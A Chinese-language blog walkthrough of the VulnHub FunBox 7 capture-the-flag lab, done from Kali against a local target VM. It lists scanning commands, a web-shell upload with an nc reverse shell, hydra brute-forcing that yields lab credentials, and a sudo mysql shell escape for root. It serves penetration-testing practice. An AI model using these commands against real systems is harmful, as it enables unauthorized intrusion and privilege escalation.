vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
老样子需要找到flag即可。

下载好了把安装包解压 然后导入Oracle VM
打开即可。
kali里使用netdiscover
发现主机
渗透机:kali IP :172.16.5.117 靶机IP :172.16.5.112
ping
的通 环境搭建成功!!
通过nmap
扫描发现开启了22
和80
端口 简单的扫一下 dirsearch -u url
访问robots.txt
并没有可以利用的信息
再次进行扫描 使用gobuster
访问mini.php
发现是有文件上传漏洞!!
gobuster dir -u http://172.16.5.112/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e
可以通过修改 mini.php
然后nc getshell
使用Python 进行交互:python3 -c 'import pty; pty.spawn("/bin/bash")'

使用 find / -perm -u=s -type f 2>/dev/null
可以使用sudo -l
查看一下 发现需要root
密码
进入家目录 发现有五个用户 直接尝试暴力破解吧 使用 hydra
一个一个试 最后爆破得到:goat/thebest
然后使用 SSH
登入 :ssh goat@172.16.5.112
sudo -l
发现 是mysql
提权网站 查询一下:https://gtfobins.github.io
sudo mysql -e '\! /bin/sh'
至此获取到了所有得flag,渗透测试结束。
FunBox
系列第七个靶机了 这个靶机比较简单
1.信息收集 获取ip地址 和端口信息 进行扫描 dirsearch
和gobuster
工具的使用
2.网站渗透 发现文件上传漏洞,上传木马 运行木马 nc
进行回弹 获取shell
3.最后是mysql
提权 的学习 和sudo
提权一样
因为最近刮台风 所以只能在家里面更新啦 这是这个系列第七个靶机啦 后续会把这个系列更新完!🙂
最后创作不易 希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!
